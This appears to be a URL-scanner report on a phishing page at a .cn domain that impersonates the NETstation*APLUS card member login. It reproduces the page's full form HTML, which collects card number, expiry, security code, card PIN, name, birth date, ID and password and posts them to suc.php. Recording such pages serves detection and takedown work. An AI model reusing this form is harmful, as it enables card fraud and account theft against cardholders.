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URL: https://www.360kt-93a.cn/
Submission: On April 08 via api from JP — Scanned from JP

Form analysis 1 forms found in the DOM

Name: MyForm — POST suc.php

<form name="MyForm" method="POST" action="suc.php">
  <article>
    <h1 class="title-lv1"> NETstation*APLUS会員認証 </h1>
    <div class="flow-box-container flow-box-active1">
      <div class="flow-box">
        <div class="flow-items flow-active"> 会員認証 </div>
        <i class="flow-arrow">
								</i>
        <div class="flow-items"> カードご利用明細書WEBサービス </div>
        <i class="flow-arrow">
								</i>
        <div class="flow-items"> 認証確認 </div>
        <i class="flow-arrow">
								</i>
        <div class="flow-items"> 認証完了 </div>
      </div>
    </div>
    <section>
      <div class="clause">
        <h2 class="title-lv2"> NETstation*APLUS ID 認証 </h2>
        <ul class="note">
          <li> ※ご本人様のカードでご認証ください。家族会員カードではご認証いただけません。 </li>
        </ul>
        <div class="clause">
        </div>
        <div class="clause">
        </div>
        <ul class="note">
        </ul>
        <table class="tbl-base tbl-stack tbl-frame">
          <tbody>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> カード番号 </th>
              <td>
                <div class="frm-blk mb-5">
                  <input name="cardNo1" type="tel" required="" class="frm frm-cardno frm-row" id="card01" pattern="^[0-9]*$" maxlength="4" data-fhconvert="ftoh" value="">
                  <span class="frm-in-txt"> - </span>
                  <input name="cardNo2" type="tel" required="" class="frm frm-cardno frm-row" id="card02" pattern="^[0-9]*$" maxlength="4" data-fhconvert="ftoh" value="">
                  <span class="frm-in-txt"> - </span>
                  <input name="cardNo3" type="tel" required="" class="frm frm-cardno frm-row" id="card03" pattern="^[0-9]*$" maxlength="4" data-fhconvert="ftoh" value="">
                  <span class="frm-in-txt"> - </span>
                  <input name="cardNo4" type="tel" class="frm frm-cardno frm-row" id="card04" pattern="^[0-9]*$" maxlength="4" data-fhconvert="ftoh" value="">
                </div>
                <ul class="note mb-in-frm sd-no-w">
                  <li> ※16桁または12桁の数字でご入力ください。 </li>
                </ul>
                <div class="err-msg">
                </div>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> カード有効期限 </th>
              <td>
                <div class="frm-blk">
                  <select name="cardTermOfValidityMonth" required="" class="slct frm-s frm-row" id="valid_month" data-checked="true">
                    <option value="1"> 1 </option>
                    <option value="2"> 2 </option>
                    <option value="3"> 3 </option>
                    <option value="4"> 4 </option>
                    <option value="5"> 5 </option>
                    <option value="6"> 6 </option>
                    <option value="7"> 7 </option>
                    <option value="8"> 8 </option>
                    <option value="9"> 9 </option>
                    <option value="10"> 10 </option>
                    <option value="11"> 11 </option>
                    <option value="12"> 12 </option>
                  </select>
                  <span class="frm-in-txt"> 月 </span>
                  <input name="cardTermOfValidityYear" type="tel" required="" class="frm frm-s frm-row" id="valid_year" pattern="^[0-9]*$" maxlength="2" data-fhconvert="ftoh" value="">
                  <span class="frm-in-txt"> 年（西暦下2桁） </span>
                </div>
                <div class="err-msg">
                </div>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> セキュリティコード </th>
              <td>
                <div class="frm-stack mb-25">
                  <input type="text" name="cvv" required="" class="frm frm-s frm-row" id="codeNumber" pattern="^[0-9]*$" maxlength="3" data-fhconvert="ftoh" data-minlength="4" value="">
                </div>
                <div class="err-msg">
                </div>
                <ul class="note">
                  <li> ※カード裏面に印字されている番号の下3桁をご入力ください。 </li>
                </ul>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> カード暗証番号 </th>
              <td>
                <div class="frm-stack mb-25">
                  <input type="password" name="azfh" required="" class="frm frm-l" id="codeNumber" pattern="^[0-9]*$" maxlength="4" data-fhconvert="ftoh" data-minlength="4" value="">
                </div>
                <div class="err-msg">
                </div>
                <ul class="note">
                  <li> ※アプラスカードの4桁の暗証番号を入力してください。 </li>
                </ul>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> お名前（カナ） </th>
              <td>
                <div class="frm-blk">
                  <label for="usr_kname01" class="lbl lbl-name"> セイ </label>
                  <input name="kanaNameOfSei" type="text" required="" class="frm frm-m" id="usr_kname01" placeholder="例：ヤマダ" pattern="^[‘’“”　、。ァ-ヾ！＃-＆（-＠［-｀｛-～￥]*$" maxlength="20"
                    data-fhconvert="[&quot;hkktofkk&quot;, &quot;hgtokk&quot;, &quot;htof&quot;]" value="">
                </div>
                <div class="frm-blk">
                  <label for="usr_kname02" class="lbl lbl-name"> メイ </label>
                  <input name="kanaNameOfMei" type="text" required="" class="frm frm-m" id="usr_kname02" placeholder="例：タロウ" pattern="^[‘’“”　、。ァ-ヾ！＃-＆（-＠［-｀｛-～￥]*$" maxlength="20"
                    data-fhconvert="[&quot;hkktofkk&quot;, &quot;hgtokk&quot;, &quot;htof&quot;]" value="">
                </div>
                <div class="err-msg">
                </div>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> 生年月日 </th>
              <td class="tbl-fold-txt">
                <div class="frm-blk">
                  <label for="usr_byear" class="lbl"> 西暦 </label>
                  <input name="birthdayYear" type="tel" required="" class="frm frm-m frm-row" id="usr_byear" placeholder="例:1980" pattern="^[0-9]*$" maxlength="4" data-fhconvert="ftoh" value="">
                  <span class="frm-in-txt"> 年 </span>
                  <br>
                </div>
                <div class="frm-blk">
                  <select name="birthdayMonth" required="" class="slct frm-s frm-row" id="usr_bmonth" data-checked="true">
                    <option value="1"> 1 </option>
                    <option value="2"> 2 </option>
                    <option value="3"> 3 </option>
                    <option value="4"> 4 </option>
                    <option value="5"> 5 </option>
                    <option value="6"> 6 </option>
                    <option value="7"> 7 </option>
                    <option value="8"> 8 </option>
                    <option value="9"> 9 </option>
                    <option value="10"> 10 </option>
                    <option value="11"> 11 </option>
                    <option value="12"> 12 </option>
                  </select>
                  <span class="frm-in-txt"> 月 </span>
                  <select name="birthdayDay" required="" class="slct frm-s frm-row" id="usr_bday" data-checked="true">
                    <option value="1"> 1 </option>
                    <option value="2"> 2 </option>
                    <option value="3"> 3 </option>
                    <option value="4"> 4 </option>
                    <option value="5"> 5 </option>
                    <option value="6"> 6 </option>
                    <option value="7"> 7 </option>
                    <option value="8"> 8 </option>
                    <option value="9"> 9 </option>
                    <option value="10"> 10 </option>
                    <option value="11"> 11 </option>
                    <option value="12"> 12 </option>
                    <option value="13"> 13 </option>
                    <option value="14"> 14 </option>
                    <option value="15"> 15 </option>
                    <option value="16"> 16 </option>
                    <option value="17"> 17 </option>
                    <option value="18"> 18 </option>
                    <option value="19"> 19 </option>
                    <option value="20"> 20 </option>
                    <option value="21"> 21 </option>
                    <option value="22"> 22 </option>
                    <option value="23"> 23 </option>
                    <option value="24"> 24 </option>
                    <option value="25"> 25 </option>
                    <option value="26"> 26 </option>
                    <option value="27"> 27 </option>
                    <option value="28"> 28 </option>
                    <option value="29"> 29 </option>
                    <option value="30"> 30 </option>
                    <option value="31"> 31 </option>
                  </select>
                  <span class="frm-in-txt"> 日 </span>
                </div>
                <div class="err-msg">
                </div>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> ID </th>
              <td>
                <div class="frm-stack mb-5">
                  <p class="mb-5 sd-no-w">
                  </p>
                  <input name="emailAddress" type="text" class="frm frm-l" id="pc_mail01" placeholder="" maxlength="16" data-fhconvert="ftoh" value="">
                </div>
                <ul class="note mb-none sd-no-w">
                  <li> ※NETstation*APLUS 登録ID。 </li>
                  <div class="err-msg">
                  </div>
                </ul>
              </td>
            </tr>
            <tr>
              <th class="title icon-tbl icon-tbl-required"> パスワード </th>
              <td>
                <div class="frm-stack mb-5">
                  <input name="webPassword" type="password" required="" class="frm frm-l" id="pc_password01" pattern="^[A-Za-z0-9!&quot;$%&amp;'()*+,\-./:;<=>?@\[\]^_`{|}~]*$" maxlength="16" data-fhconvert="ftoh" data-minlength="8" value="">
                </div>
                <ul class="note mb-none sd-no-w">
                  <li> ※8～16文字の半角英数字。 </li>
                  <div class="err-msg">
                  </div>
                </ul>
              </td>
            </tr>
          </tbody>
        </table>
      </div>
    </section>
    <div class="ctrl-area">
      <ul class="note">
        <li> ※登録いただいた内容はNETstation*APLUSのサービス提供のために利用させていただきます。 </li>
      </ul>
      <div class="frm-btn-area">
        <input class="btn btn-primary btn-m btn-proceed mb-none" type="submit" name="submit" value="確認">
      </div>
    </div>
    <div class="pagetop">
      <a href="#pagetop">
								このページの先頭へ
							</a>
    </div>
  </article>
</form>

Text Content

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カード番号
- - -
 * ※16桁または12桁の数字でご入力ください。


カード有効期限
1 2 3 4 5 6 7 8 9 10 11 12 月 年（西暦下2桁）

セキュリティコード


 * ※カード裏面に印字されている番号の下3桁をご入力ください。

カード暗証番号


 * ※アプラスカードの4桁の暗証番号を入力してください。

お名前（カナ）
セイ
メイ

生年月日
西暦 年

1 2 3 4 5 6 7 8 9 10 11 12 月 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
21 22 23 24 25 26 27 28 29 30 31 日

ID



 * ※NETstation*APLUS 登録ID。
   

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 * ※8～16文字の半角英数字。
   

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